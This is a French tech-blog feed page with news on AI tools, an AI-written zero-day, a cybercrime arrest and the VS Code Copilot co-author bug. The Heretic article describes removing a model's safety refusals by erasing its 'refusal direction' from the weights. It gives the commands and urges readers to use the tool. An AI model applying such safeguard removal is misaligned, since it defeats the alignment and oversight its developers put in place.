Vue normale

Il y a de nouveaux articles disponibles, cliquez pour rafraîchir la page.
À partir d’avant-hierKorben

GhostDesk - Un bureau Linux complet pour votre agent IA

Par : Korben ✨
27 mai 2026 à 08:49

GhostDesk , c'est un serveur MCP open source qui file à votre agent IA un bureau Linux complet tournant dans Docker. L'agent voit l'écran, clique, tape, lance des applis, comme un humain. Bref, c'est pas juste un browser à la Playwright, puisque grâce à lui, n'importe quelle interface graphique devient pilotable. Yoann Vanitou son créateur m'a pitché son projet par email, et comme j'ai trouvé ça cool, je vous emmène faire un petit tour du propriétaire.

Le principe c'est un conteneur Docker qui tourne avec un bureau Linux minimal, Firefox, un terminal, un éditeur de texte, une calculatrice, et un serveur MCP en frontal. Votre agent IA préféré se connecte alors sur http://localhost:3000/mcp, demande un screenshot, identifie ce qui est à l'écran, puis envoie des commandes souris et clavier via les douze outils exposés (click, drag, scroll, type, key press, copy/paste, launch app, etc.).

Et vous pouvez même regarder l'agent bosser en direct depuis votre navigateur sur le port 6080, via noVNC. C'est assez satisfaisant de voir l'IA cliquer toute seule dans Firefox, je dois bien le reconnaitre !

Là où Playwright et consorts sont coincés dans le browser, GhostDesk fonctionne ainsi sur n'importe quelle fenêtre. Un workflow automatisé qui mélange plusieurs applis , un ERP legacy, LibreOffice, un IDE, un client mail, peu importe.... Ça évite les bidouilles à base sélecteurs CSS ou code custom puisque l'agent interprète l'écran directement à partir des captures écran qu'il fait.

Et comme le serveur est pensé pour tourner avec des modèles locaux comme Qwen sur une workstation GPU, y'a vraiment aucune donnée qui sort de votre réseau et aucun coût API. Puis surtout, des cas d'usage sensibles (genre avec des données de santé, de la compta, du SI interne..etc) deviennent parfaitement envisageables. Claude et ChatGPT marchent aussi, mais avec les compromis habituels sur la latence et la confidentialité.

Pour tester, une seule commande Docker suffit :

docker run -d --shm-size 2g -p 3000:3000 -p 6080:6080 ghcr.io/yv17labs/ghostdesk:latest

Vous branchez ensuite votre client MCP sur localhost:3000/mcp, vous ouvrez localhost:6080 dans un onglet pour observer, et hop ! Pour la prod, y'a aussi un mode TLS plus bearer token qui chiffre le transport, parce qu'exposer un bureau Linux en clair sur le réseau, c'est pas l'idée du siècle, c'est vrai ^^.

Les applis pré-installées restent sobres, mais rien n'empêche de builder votre propre image avec d'autres logiciels.

Maintenant, le projet est très jeune et son développement repose quasi uniquement sur Yoann, donc je pense qu'il ne sera pas contre un petit coup de main. A voir avec lui.

Après côté licence, c'est une license non-concurrentielle qui interdit l'usage commercial rival pendant une période fixée avant bascule vers une licence ouverte classique.

Bref, GhostDesk c'est une idée sympa et je pense que si vous faites de l'automation d'applis desktop ou que vous voulez brancher un agent local sur un bureau virtuel sans payer d'API, ça mérite le coup d'œil !

Bravo à Yoann !

Pax Historia - Le jeu IA qui vous laisse réécrire l'Histoire

Par : Korben ✨
27 mai 2026 à 07:25

C'est mon plus jeune fils qui m'a fait découvrir ça un soir, et comme j'ai trouvé ça top, bah je vous en parle. C'est un jeu web nommé Pax Historia et ça a été créé par deux colocataires de fac, Eli Bullock-Papa et Ryan Zhang, sur un coin de table durant un hackathon. Et ce n'est ni plus ni moins qu'un bac à sable d'histoire alternative où c'est une IA qui fait vivre le monde autour de vous, un peu comme à son époque, " Un monde meilleur " de FibreTigre.

Dans Pax Historia, vous choisissez un pays et un moment de l'Histoire, et vous réécrivez toute la suite... Et quand je dis réécrire, c'est pas cliquer dans des menus déroulants, non non, là vous tapez en langage naturel ce que vous voulez faire, vous proposez une alliance au pays d'à côté, vous menacez, vous négociez un protectorat, vous déclarez une guerre... et l'IA en face vous répond comme le ferait une vraie chancellerie. Le moteur du jeu est donc carrément un grand modèle de langage (LLM) qui génère chaque réaction à la volée, ce qui ouvre un champ des possibles bien plus large qu'un jeu de stratégie classique.

Dans ce jeu, quand vous annoncez quelque chose, le monde change car les autres nations réagissent, les frontières bougent sur la carte, et de nouveaux foyers de tension apparaissent. Et le truc que j'adore, c'est que le ton de vos messages compte énormément.

Si vous arrivez avec des arguments construits et un minimum de diplomatie, vous réussirez à tisser des relations. Par contre, si vous balancez des menaces creuses comme quand vous êtes sur Twitter, vous transformez vos voisins en ennemis en moins de 2 tours. On est exactement entre le RISK et une vraie partie de Diplomacy, sauf que l'adversaire improvise et qu'il ne vous laisse jamais rejouer le même coup deux fois.

Screenshot

Pour démarrer, vous pouvez partir sur les temps modernes, ou la Seconde Guerre mondiale, parfaits pour se faire la main, mais il y a surtout les 4000 et quelques scénarios créés par la communauté. Ces derniers sont rangés en plusieurs familles, Historical pour les vraies dates de notre Histoire, Alt-Historical pour les uchronies, Historical Fiction pour les récits romancés, et Fantasy ou Science-Fiction pour les mondes complètement inventés sans aucun lien avec le réel (Genre Starwars). Moi, vu que j'adore réimaginer l'Histoire, je me suis rué sur l'Alt-Historical sans hésiter mais si rien ne vous convient, y'a aussi l'option "Play as anything" qui vous laisse incarner à peu près n'importe quoi, une cité-État imaginaire, une faction, ce que vous voulez.

Et autre truc cool, vous pouvez aussi avancer dans le temps... Vous faites défiler les années et le monde évolue à partir de vos dernières actions et comme ça vous pouvez voir cet effet papillon que vous avez initié.

Vous pouvez même fabriquer votre propre monde puisque le mode Create embarque un éditeur de carte où vous dessinez des régions, vous les attribuez à des pays, vous posez le contexte historique et les relations diplomatiques de départ.

Et c'est un vrai jeu de stratègie, parce qu'il faut anticiper plusieurs coups à l'avance. Vous pouvez choisir un niveau de difficulté qui va de Very Easy à Impossible, le mode Normal étant calé pour rester réaliste. Vous choisissez aussi la qualité de l'IA, parce que derrière, le jeu fait tourner une trentaine de modèles différents via OpenRouter, des trucs d'OpenAI, d'Anthropic, de Google, et des modèles open source. Attention par contre, plus le modèle est costaud, plus il bouffe des tokens, donc sauf si vous aimez tomber en rade en plein milieu d'une guerre et être obligé de sortir la CB pour en racheter, démarrez avec les options les moins chères.

Et surtout, comme l'arme principale dans Pax Historia, c'est votre façon de formuler les choses, votre victoire dépend en grande partie de votre talent à argumenter. C'est du prompt engineering déguisé en grand jeu de stratégie, et je trouve que ça rejoint pas mal ce genre d'histoires où des modèles apprennent l'art de la persuasion . Le revers de la médaille, c'est que l'IA est encore beaucoup trop malléable du coup avec la bonne tournure de phrase, vous pouvez la convaincre de presque tout, un peu comme cette IA qu'on a baratinée pour lui faire lâcher 47 000 dollars .

Bref, si comme moi vous aimez triturer l'Histoire et réfléchir trois coups à l'avance, allez tester Pax Historia . C'est encore en alpha, mais j'ai trouvé l'idée brillante.

Heretic - Virer la censure d'une IA en une commande

Par : Korben ✨
26 mai 2026 à 08:08

Y'a des entreprises qui claquent des millions pour bien aligner leurs modèles d'IA afin qu'ils refusent toutes les questions sensibles qui font flipper nos amis puritains d'outre-Atlantique et y'a Heretic , un outil signé Philipp Emanuel Weidmann, qui balaye toute censure sur n'importe quel modèle en moins de 30 minutes avec une simple carte graphique de gamer.

Je vous explique... Vous devez avoir Python et une version récente de PyTorch sur votre machine, puis vous tapez pip install heretic-llm, puis heretic Qwen/Qwen3-4B-Instruct-2507 avec le nom du modèle que vous voulez décensurer.

Et l'outil fait alors sa vie et 20 à 30 minutes plus tard, vous récupérez une version du modèle qui a lâché prise sur l'essentiel de ses refus. Pas de dataset à préparer et surtout pas besoin de comprendre les entrailles d'un transformer, avec ce truc !

Dans un modèle aligné, le réflexe de refuser (le fameux "désolé, je ne peux pas vous aider avec ça") correspond souvent à une direction précise dans ses calculs internes. Les chercheurs appellent ça la "direction de refus". Et l'idée de l'abliteration, c'est de repérer cette direction et de la gommer des poids du modèle. En gros, on coupe le câble qui déclenche le "non", en touchant le moins possible au reste.

D'autres outils d'abliteration existaient déjà , mais leur réglage restait largement manuel et il y a aussi des gens comme mlabonne ou huihui-ai qui publient des modèles décensurés en ajustant les paramètres à la main, modèle par modèle, avec des résultats souvent inégaux. Mais Heretic, lui, automatise complètement le réglage. Pour cela, il s'appuie sur Optuna, un framework d'optimisation qui teste des dizaines de configurations et garde les meilleures tout seul. Et son seul objectif c'est de virer un max de refus tout en abîmant le moins possible le modèle d'origine.

Et de ce que je comprends, ça marche super bien ! Sur Gemma-3-12B, le modèle de Google de base refuse 97 fois sur 100 les prompts sensibles du benchmark maison. Mais après un petit passage dans Heretic, il tombe à 3 refus sur 100, soit le même niveau que les meilleures "nettoyages" manuels.

Et surtout, Heretic affiche une divergence de 0,16 là où les versions faites main grimpent à 0,45 voire 1,04 (C'est une mesure de l'écart de comportement sur les questions normales... plus c'est bas, mieux c'est).

Cela veut donc dire qu'il abîme beaucoup moins le modèle au passage.

Maintenant, tous les modèles n'y passent pas, car un gros calibre demande bien plus de VRAM et cela peut grimper à plusieurs heures. De plus, une étude comparative récente montre que le raisonnement mathématique est ce qui souffre le plus de ce genre d'abliteration, quel que soit l'outil utilisé.

Et surtout, y'a déjà des chercheurs qui bossent sur des défenses pour rendre les modèles résistants à ce genre d'attaque. Donc on verra bien, mais tant que c'est possible autant en profiter car des modèles sans bridage, ça permet notamment à des chercheurs d'étudier leurs propres failles, ou pour des usages du quotidien, de faire passer des demandes banales qui seraient bloquées (genre texte créatif, reverse engineering ou demande de conseils médicaux, ce genre de choses...)

Voilà, si vous bidouillez du LLM en local , allez voir ce projet car ça peut vous "ouvrir" quelques portes ^^.

Le Fisher Price Pixter ressuscité

12 mai 2026 à 14:34

Le Fisher Price Pixter, ce jouet éducatif à écran tactile que Mattel vendait entre 2000 et 2002, vient de se faire passer au scanner par Dmitry Grinberg .

Alors ce truc n'est pas le truc le plus répandu qui soit, surtout par chez nous, mais on en a trouvé quand même quelques uns à l'époque, et si ça se trouve vous en avez eu un.

C'est un appareil cartouches que les gosses utilisaient pour dessiner et écouter de la musique. Personne ne l'avait jamais documenté correctement. Aucune doc officielle, des cartouches un peu obscures, et un écosystème abandonné depuis 2007.

Et le plus drôle, c'est ce qu'il a trouvé dedans. La version Pixter Color, deuxième génération, embarque un SoC ARM Sharp LH75411. Pour un jouet destiné à un gamin de cinq ans, c'est franchement impressionnant. La version Classic, plus ancienne, tourne sur un 6502, le même processeur que le Commodore 64 ou la NES.

Sauf que par-dessus ce hardware, les ingénieurs avaient ajouté une couche logicielle qui faisait croire au programme qu'il tournait sur une machine totalement différente, en pratique une sorte de processeur virtuel 16 bits pour la Color, 8 bits pour la Classic. Probablement parce qu'à la base ils visaient une autre puce et qu'ils ont dû pivoter en cours de route.

Dmitry a tout passé au crible. Hardware, implémentation audio (qu'il qualifie lui-même de "sauvage"), dump des cartouches une par une, écriture d'émulateurs pour préserver le truc. Il a même rajouté le support du LH75411 dans uARM, son émulateur ARM maison. En quelques semaines. Et au passage, il a porté PalmOS 5 sur le Pixter Color, ce qui n'a strictement aucune utilité mais c'est quand même drôle.

Le pourquoi de tout ça, c'est de la conservation. Ces appareils disparaissent, leurs cartouches se fissurent, leurs piles fuient, et dans dix ans il ne restera plus rien à étudier. Sans des bricoleurs comme Dmitry, des pans entiers de la culture jouet électronique des années 2000 s'effacent doucement.

Source : Hackaday

Google neutralise la première cyber-attaque massive générée par une IA

12 mai 2026 à 13:49

Google a balancé l'info via son équipe cyberdéfense, le GTIG (Google Threat Intelligence Group). Des cybercriminels ont utilisé une IA générative pour dénicher et écrire un code d'attaque exploitant une faille inconnue (ce qu'on appelle un zero-day, une vulnérabilité que l'éditeur du logiciel n'a pas encore corrigée).

Et ils s'apprêtaient à lancer une vague d'attaques massives. C'est, d'après Google, la première fois qu'on observe ça dans la vraie vie, pas en labo.

La faille concernait un outil d'administration de serveur open-source très utilisé, dont Google ne donne pas le nom (le temps que tout le monde installe le correctif).

Le bug permettait de contourner la double authentification, le fameux code à 6 chiffres ou la notification sur le téléphone qui sécurise vos comptes. En pratique, il fallait quand même un identifiant et un mot de passe valides au départ, donc ce n'est pas une attaque magique en un clic. Mais une fois ce sas franchi, la 2FA tombait toute seule.

Ce qui a mis la puce à l'oreille des chercheurs, c'est l'allure du script Python utilisé pour exploiter la faille. Trop bien écrit, trop documenté, trop scolaire en fait.

Il était bourré de commentaires pédagogiques (le genre qu'on retrouve dans un tuto pour débutant), il affichait un menu d'aide impeccable, et surtout un score de dangerosité CVSS complètement inventé. Cette dernière trouvaille, c'est l'indice qui ne trompe pas, seul un modèle de langage peut halluciner un chiffre officiel avec autant d'aplomb.

John Hultquist, le chef analyste du GTIG, explique que les IA génératives sont vraiment douées pour repérer ce genre de faille logique de haut niveau, là où les outils d'audit classique (les "fuzzers" qui bombardent un logiciel de données aléatoires pour le faire planter) passent à côté.

Google précise au passage que ce n'est pas Gemini, son propre modèle d'IA, qui a été utilisé. Lequel alors ? Mystère, l'équipe de Mountain View ne le dit pas. On imagine que les criminels n'ont pas demandé poliment l'autorisation à un éditeur d'IA. Affaire à suivre.

Le rapport donne d'autres pépites. Le groupe nord-coréen APT45 utiliserait l'IA pour tester des milliers d'exploits en masse. Des opérateurs chinois liés à l'État expérimenteraient l'IA pour chasser les vulnérabilités.

Des backdoors (des portes dérobées cachées) sur Android interrogent directement Gemini pour piloter les téléphones infectés. Et côté désinformation, des opérations russes intègrent du faux audio généré par IA dans de vraies images d'actualités. Bref, ça bouge de partout.

Bonne nouvelle quand même, la campagne d'attaque massive a été désamorcée. Google a coordonné un correctif discret avec l'éditeur avant que les criminels puissent appuyer sur le bouton. Cette fois.

Bref, l'IA fabrique maintenant des armes prêtes à l'emploi pour les criminels, et personne ne sait quel modèle a fait le boulot. Rien de rassurant donc.

Source : The Hacker News

Taggez vos photos avec de l'IA en local

Par : Korben ✨
12 mai 2026 à 08:08

Tagger des milliers de photos à la main, c'est le genre de corvée qu'on remet tous à plus tard depuis des années. Mais c'était sans compter sur photo-folder-tagger de Laurent Voillot qui règle ça grâce à 6 modes IA spécialisés, le tout en local, sans envoyer une seule image dans le cloud.

Vous faites pointer l'outil sur un dossier, vous choisissez le mode IA correspondant à vos photos, et hop, des fichiers XMP annexes sont générés à côté de chaque cliché. Ces fichiers contiennent les tags et sont directement lisibles par Lightroom Classic, Capture One, Bridge, Darktable et DigiKam, ce qui évite d'avoir à ré-importer ou à modifier les originaux !

Les 6 modes couvrent des usages bien distincts. Le mode Balade utilise CLIP SigLIP2 pour la classification générale (~50 ms par photo). Le mode Animaux combine BioCLIP v1 + CLIP (~40 ms). Pour les oiseaux et les insectes, c'est BioCLIP 2, entraîné sur 214 millions d'images de biodiversité (TreeOfLife-200M), à ~55 ms par image. Le mode Vacances sort la grosse artillerie avec Ollama et qwen2.5vl pour générer des descriptions en langage naturel (~1.8 s par photo).

Et le mode qui mérite une mention spéciale c'est Astro capable d'identifier automatiquement les objets célestes : Galaxies, nébuleuses, amas d'étoiles... les tags XMP pointent alors vers les références Messier, NGC ou IC correspondantes. C'est assez dingue comme feature.

En tout cas, c'est plus précis d'avoir tous ces petits modèles spécialisés plutôt que d'avoir un seul modèle qui fait tout. BioCLIP 2 sur la faune donne par exemple des résultats qu'un modèle généraliste n'atteindra pas.

L'installation se fait après récupération des sources via pip install -r requirements.txt. Tout est configurable dans config.yaml, les modèles IA utilisés, la langue des tags, les seuils de confiance...etc puis ça se lance avec python photo_folder_tagger.py. Au passage, n'oubliez pas que si vos photos sont un peu floues avant de lancer le tagger, SuperImage peut les upscaler en amont.

Bref, si vous avez des disques entiers de photos nature, astro ou de rando qui traînent sans tags depuis des années, c'est l'outil qu'il vous faut.

Merci à Laurent Voillot.

Spotify génère maintenant vos podcasts tout seul

Par : Korben ✨
11 mai 2026 à 08:48

Spotify vient d'annoncer un truc intéressant je trouve, qui s'appelle les Personal Podcasts. Le principe c'est de demander absolument tout ce que vous voulez, par exemple un podcast sur un cours que vous venez de suivre, sur un bouquin, sur un article de Korben.info voire sur votre planning de la semaine, vos objectifs...etc etc... Peu importe... Spotify prend tout ça, et génère un épisode audio personnalisé raconté par une voix IA plus ou moins moche.

Et l'épisode apparaît alors directement dans votre bibliothèque, comme si quelqu'un avait fait un résumé audio de votre semaine.

Et pour faire ça, ils ont mis en ligne un repo GitHub save-to-spotify qui est un outil en ligne de commande permettant à des agents IA de créer ce podcast personnalisé tout ça accessible en ligne de commande ou via des agents comme Claude Code, OpenClaw ou Codex.

Que ce soit sous macOS ou Linux, ça s'installe en une ligne (allez lire le install.sh par sécurité quand même avant de l'exécuter) :

curl -fsSL https://saveto.spotify.com/install.sh | bash

Et si vous êtes sous Claude Code, c'est encore plus immédiat :

/plugin marketplace add spotify/save-to-spotify

Le skill se retrouve dans ~/.claude/skills/save-to-spotify/ et votre agent peut demander à Spotify de générer un podcast à la demande pour ensuite le pousser sur Spotify.

Rien de compliqué en fait !

Par contre, le podcast créé est 100% privé, donc vous ne pourrez pas le partager avec vos amis. Mais c'est pas bloquant non plus puisqu'il est toujours possible d'aller récupérer dans les dossiers temporaires de génération de l'émission les MP3 que ça vous crache pour ensuite les mettre ailleurs, soit sur votre site, soit les diffuser sur votre vrai podcast Spotify accessible à tous.

Maintenant, est-ce que je vais faire mon podcast pour raconter les actus que je mets sur ce site ?

Alors j'ai pas le temps mais je le ferai peut-être un jour si la qualité audio de l'IA est suffisante pour que ça ait l'air vraiment produit par un humain et pas par une machine. Pour vous donner une idée, voici ce que ça donne :

Donc c'est pas encore qualitatif... À voir en passant par des moteurs TTS comme ceux d'ElevenLabs... mais pour l'instant, c'est pas d'actualité pour moi. On verra bien... Je me suis quand même amusé à mettre les fichiers texte et JSON produits dans Notebook LM pour faire un autre type de podcast qui cette fois est un peu plus long et plus quali... Je vous mets ici.

Après, peu importe que vous le génériez via l'outil de Spotify ou autrement en passant par un autre outil, le CLI Save To Spotify, vous permettra ensuite de le mettre sur votre compte Spotify pour l'écouter par exemple dans la voiture ou dans les transports.

Bref, c'est disponible et si vous avez Claude Code sous la main, ça prend une ligne à installer. L'annonce complète est par ici .

Google Workspace CLI - Pour piloter tous les services Google avec votre IA

Par : Korben ✨
8 mai 2026 à 16:52

Justin Poehnelt, Senior Developer Relations Engineer chez Google, vient de balancer sur Github un outil en ligne de commande (CLI), codé en Rust qui permet de faire un truc trop pratique, à savoir piloter entièrement Workspace depuis le terminal. Ce logiciel nommé GWS est donc capable de gérer Gmail, Drive, Calendar, Sheets et sept autres services Google d'un coup. Et en plus, comme il a été conçu pour les agents IA, donc c'est pas juste pour vous et votre terminal !

Une fois installé via npm, cargo, brew ou un binaire pré-compilé, vous tapez gws auth login pour vous authentifier via OAuth et vous pouvez ensuite attaquer onze services depuis votre shell : Drive, Gmail, Calendar, Sheets, Docs, Chat, Admin, Apps Script, Tasks, Workspace Events et Model Armor.

Niveau archi, au lieu de hard-coder chaque commande dans le binaire, gws interroge tout simplement le Discovery Service de Google au démarrage et reconstruit son arbre de commandes à la volée. Du coup quand Google ajoute un endpoint à l'API Sheets, le CLI le voit apparaître tout seul. C'est trop bien parce que ça évite de devoir attendre une release pour utiliser un éventuel nouveau service de Google. Et pour un agent IA qui re-fetch le schéma à chaque run, c'est plutôt une bonne idée.

Donc en plus de démarrer en moins d'une seconde, GWS crache des sorties en JSON structurées, y'a un mode --dry-run qui montre la requête sans l'envoyer, et de l'auto-pagination via --page-all. Et côté commandes utilitaires, vous avez aussi les + qui sont des helpers cousus main tels que gws gmail +send, gws drive +upload, gws calendar +agenda, gws sheets +append, gws gmail +triage et un gws gmail +standup-report qui résume vos mails de la semaine en quelques lignes.

Le repo embarque aussi 40+ skills d'agent prêts à l'emploi du type "résume mes mails non lus" ou "génère mon rapport", une extension Gemini CLI qui s'installe avec gemini extensions install https://github.com/googleworkspace/cli, et le helper +sanitize-response qui fait passer la sortie par Model Armor (le filtre anti-prompt-injection de Google Cloud) pour éviter les réponses bizarres.

En gros, c'est un outil pensé pour faire piloter votre Workspace par Claude, Gemini ou n'importe quel agent. Comme ça vous allez pouvoir écrire un workflow qui lit vos mails non lus, en fait un résumé, le poste dans un Chat et classe tout ça proprement dans Drive... sans avoir à toucher à la souris ni avoir à utiliser votre cerveau léthargique. Elle est pas belle la vie ?

Sauf que. Le projet porte le disclaimer "This is not an officially supported Google product", et un employé Google a confirmé sur le thread Hacker News (presque 1000 points, quand même) que c'est un projet DevRel. Comprendre : pas de SLA, pas de roadmap garantie, pas d'équipe SRE qui veille au grain. Vous savez comment ça finit chez Google avec ce genre de statut !

Bref si vous êtes chaud pour tester, le binaire est dispo ici . Maintenant reste à voir si Google lui donnera un statut officiel ou si GWS s'éteindra discrètement comme tant d'autres projets internes oubliés...

GridTV, le guide TV open source pour votre setup IPTV

Par : Korben ✨
7 mai 2026 à 08:30

Bon, maintenant que vous avez vos chaînes IPTV qui tournent via Tunarr ou xTeVe, votre flux XMLTV est super propre. Mais il vous manque un seul truc : Un guide de programme potable.

Hé bien GridTV développé par l'ami JohnnyBeGood est là pour ça !

GridTV c'est une interface web en PHP/JS/CSS qui transforme toute source XMLTV compatible en guide TV façon grille horizontale, avec l'indicateur "maintenant" visible en permanence, une barre de progression du programme en cours, et les émissions passées qui se retrouvent automatiquement grisées. C'est exactement ce à quoi ressemble le guide TV de votre box opérateur, mais en mieux, et pour votre propre contenu !

Pour le déploiement, Docker est le chemin recommandé plutôt que de tout configurer à la main : git clone, cd GridTV, docker compose up -d, et hop, vous ouvrez localhost:8080.

Un assistant de setup vous demandera alors votre source EPG obligatoire et une playlist M3U si notamment vous voulez utiliser le player intégré, et une fois validé, vous retombez directement sur la grille.

Ça se met en place en moins de 5 min mais si vous préférez installer sans Docker, ou plutôt sans la couche conteneur, il y a également sur le Github des exemples de config pour Apache et Nginx dans la doc. Caddy fonctionnera aussi et la doc concernant Traefik, c'est pour le cas où GridTV tourne en Docker mais derrière un reverse proxy.

Côté fonctionnalités, le player HLS s'ouvre en PiP (Picture in Picture) dans un coin en cliquant sur une chaîne et le multi-EPG vous permettra de configurer plusieurs sources avec un petit switch. GridTV propose aussi des rappels de programme via notifications navigateur, 15 minutes avant la diffusion. Mais pour en profiter, l'onglet du browser doit rester ouvert et les notifs autorisées.

Et il y a aussi possibilité de générer un export PDF/PNG du guide sur 24h. C'est pas indispensable mais ça permet pour ceux qui veulent d'imprimer le programme de la soirée.

Chaque visiteur de l'instance peut aussi utiliser / paramétrer ses propres URLs XMLTV/M3U, car rien n'est stocké côté serveur. Hé oui, tout passe par le localStorage du navigateur donc vous pouvez partager votre instance avec autant de monde que vous voulez, ça n'a pas d'impact.

La version Steampunk

Et il y a même des thèmes genre cyberpunk, steampunk, magazine ou le thème par défaut. Et la page de monitoring admin expose également une sonde accessible via un endpoint compatible Uptime Kuma qui renvoie le code HTTP 200 si tout va bien. Sinon, ce sera du code 503. Bref, ça vous connaissez...

Bref, l'outil est jeune mais bien construit et une démo live tourne ici guide.demo.johnnybegood.fr . À suivre donc....

Et si vous cherchez juste des listes de chaînes IPTV gratuites , c'est par là !

Scattered Spider - Un cybercriminel arrêté à cause d'un collier en diamants

Par : Korben ✨
6 mai 2026 à 15:06

Y'a des génies du crime, et puis y'a Peter Stokes, alias Bouquet, 19 ans, presque toutes ses dents, double nationalité américano-estonienne, et surtout membre de Scattered Spider, le collectif qui a déjà plumé MGM et Caesars.

Le mec a tellement bien réussi son coup qu'il est parti se payer des vacances à Tokyo, sauf que pour fêter ça, en bon teubé, il a posté sur Snapchat des selfies de sa grosse tête avec un tout nouveau bijou : un collier en diamants HACK THE PLANET. Comme dans le film de 1995 mais en plus bling bling !

Hé bien grâce à ça, le FBI a fini par le coffrer lors de son escale d'Helsinki.

Bouquet (oui, j'ai pas précisé mais c'est son pseudo) opérait donc dans le groupe Scattered Spider, ce collectif d'ados anglophones qui ne s'embête pas avec des failles zero-day parce que de toute façon, ils ne sauraient pas les utiliser.

À la place, ils ont leur propre méthode super technique vous allez voir... ils appellent le support IT de la cible et embobinent un pauvre mec pour qu'il reset le 2FA d'un admin.

Et voilà comment notre cher Bouquet a pu sortir 100 Go de données d'un revendeur de produits de luxe (la plainte désigne sobrement la "Company F", mais ça pue Harrods d'après la presse anglaise) en seulement quelques heures, réclamé 8 millions de rançon, et causé plus de 2 millions de dégâts.

Du coup, plainte fédérale à Chicago, 6 chefs (wire fraud, conspiracy, computer intrusion comme ils disent là-bas avec l'accent cowboy), + extradition vers les USA en cours. C'est le bouquet final pour lui ! (Oui, jeu de mots, roh roh roh).

Tyler Buchanan, 24 ans, autre membre du club, a de son côté déjà plaidé coupable d'avoir empoché 8 millions en crypto via du SMS phishing. Faut dire qu'en 2024, le groupe envoyait fièrement des messages genre "Fuck off, FBI" aux agents fédéraux qui enquêtaient sur eux.

Très rebelles nos kikoulool ! Enfin, comme vous le savez, qui fait le malin tombe dans le ravin, et qui fait le mariole avec un collier finit avec des bracelets ^^. (J'ai pas trouvé mieux, déso... lol)

Bref, Bouquet vient à lui seul d'écrire le chapitre 1 du manuel "Comment ne PAS être un cybercriminel à succès" et dont la règle n°1 est : "Si t'es recherché par le FBI, ne montre pas ton butin sur Snapchat"

Source

VS Code signe vos commits avec Copilot, même sans Copilot

Par : Korben ✨
6 mai 2026 à 10:16

Si vous avez committé du code depuis VS Code depuis mi-avril, allez tout de suite vérifier vos messages de commit car vous avez peut-être un nouveau co-auteur que vous n'avez jamais embauché.

En effet, Microsoft a discrètement basculé le réglage par défaut de l'éditeur pour ajouter Co-authored-by: Copilot <[email protected]> à des commits que VS Code considérait à tort comme contenant des contributions IA, même quand vous n'avez pas utilisé Copilot, et même quand vous avez explicitement désactivé toutes les fonctions IA.

Quelle lose, hein ? La Product Manager Courtney Webster a poussé cette fameuse pull request #310226 des enfers le 15 avril dernier sans aucune description, et le dev dmitrivMS l'a mergée tranquillou le lendemain.

Et le résultat de tout ce bordel, vous pouvez le lire dans la PR #310226 qui a explosé sur GitHub : 372 pouces baissés contre 2 levés, 30 réactions "confused", et des dizaines de commentaires furieux.

L' issue de suivi #314311 , ouverte ensuite par dmitrivMS pour faire son point public, a elle aussi reçu un torrent de réactions virulentes. Tu m'étonnes, ils font vraiment n'importe quoi...

Maintenant si vous êtes dans ce cas, vous pouvez neutraliser ça immédiatement, ajoutez dans votre settings.json :

"git.addAICoAuthor": "off"

C'est le seul réglage qui marche vraiment, parce que dans la version buguée même chat.disableAIFeatures à true n'arrêtait pas le soucis. Et pour votre historique déjà bien pollué, un git rebase -i ou un git filter-branch permettra de virer les contributeurs parasites dans vos derniers commits. Mais après bonne chance si vos commits sont déjà sur des PR mergées chez d'autres. Là c'est mort...

Ce que les devs reprochent à Microsoft, c'est pas vraiment d'avoir créé l'option (elle existait depuis VS Code 1.110 en opt-in tranquille). Non, le vrai problème c'est surtout ce qu'il y a derrière cette vilaine Pull Request... 2 fichiers touchés, le change de "default", absolument AUCUNE description, une seule review d'approbation toute nulle, et hop, c'est mergé OKLM.

Pour un changement qui touche les messages de commit de plusieurs millions de devs, ça sent quand même la décision unilatérale prise à l'arrache entre 2 portes...

Et puis surtout il y a le bug #313064 qui a fait basculer l'histoire de la simple polémique à la grosse colère communautaire.

En effet, la nouvelle valeur par défaut "all" attribuait à Copilot des complétions qui ne venaient PAS de Copilot. Un dev explique par exemple avoir tapé son code à la main, vérifié son message de commit, supprimé toute suggestion Copilot, écrit le sien à la main... et a finalement retrouvé quand même Co-authored-by: Copilot dans le git log final.

Et comme le mode "je ne veux pas d'IA" n'était pas plus respecté, l'IA s'auto-créditait quand même sur tout et n'importe quoi.

Côté communauté, le ton est monté très vite. Sur le fil GitHub, y'en a un qui écrit que, je cite, "C'est pas une régression, c'est de la fraude. On ne peut pas s'attribuer un travail qu'on n'a pas fait." et un autre dev parle de "vandalisme" pur.

Windows Central a même sorti un titre choc : "This could cost people their jobs", parce que dans les boites en fintech ou sur du code soumis à audit, faire passer du code humain pour de l'IA-assisté peut coller un fail d'audit et faire péter des contrats. Ah bah ouais, j'avoue que je n'y avais pas pensé...

Heureusement, Microsoft a fini par bouger puisque dans VS Code 1.118 , le default est finalement repassé de "all" à "chatAndAgent", déjà moins agressif. Et dans la PR #313931 , dmitrivMS a remis le default à "off" pour la version 1.119, dont le déploiement public commence justement aujourd'hui.

Bien sûr, la Product Manager a fait son mea culpa public, en reconnaissant, je cite que "la manière dont c'était implémenté et déployé n'a pas atteint le niveau de correction attendu", ce qui, dans la langue corporate, veut dire "on est des branleurs, déso, bisous".

Maintenant ce qui revient souvent dans les commentaires, c'est que Claude Code et Codex CLI font la même chose par défaut quand ils committent, sauf que la différence, c'est que ces agents committent quand C'EST EUX qui ont écrit le code, donc le co-author est tout a fait légitime.

VS Code, lui, modifiait des commits écrits à la main par des humains donc c'est pas du tout le même problème. Et pour le coup, sur Codex CLI la mention reste aussi désactivable via une option alors que chez Claude Code même si c'est pareil, l'opt-out n'est pas toujours très respecté d'après les retours que j'ai pu lire.

En tout cas, ce loupé arrive dans un climat déjà tendu puisque Microsoft pousse Copilot dans Windows, dans Notepad, dans Office, et même jusque dans l'écosystème Apple via une extension Xcode , dans tous les coins, et beaucoup de devs commencent à voir chaque nouveauté MS à travers ce prisme. La théorie du "ils gonflent les KPI Copilot pour les boards et les analystes" de plus en plus crédible et comme personne n'aime se sentir transformé en stat marketing, tout le monde commence à se barrer des outils et services Microsoft.

Maintenant, si vous voulez vraiment vous protéger des prochains coups foireux de M$, je vous propose d'abord de basculer sur VSCodium ou Zed , deux éditeurs sans télémétrie ni AI imposée. Et ensuite, déménager vos repos chez Codeberg ou Forgejo en suivant la procédure de migration que je vous donne dans cet article Patreon, comme ça même si Microsoft fait n'importe quoi côté éditeur, votre code n'est plus chez eux côté forge.

À voir maintenant si Microsoft tient ses promesses sur le consentement explicite avant toute mention d'agent IA, ou si on rejouera ce film encore et encore tous les 6 mois sur une autre fonctionnalité.

Chrome installe en douce un modèle IA de 4 Go sur votre disque sans rien demander

6 mai 2026 à 10:09

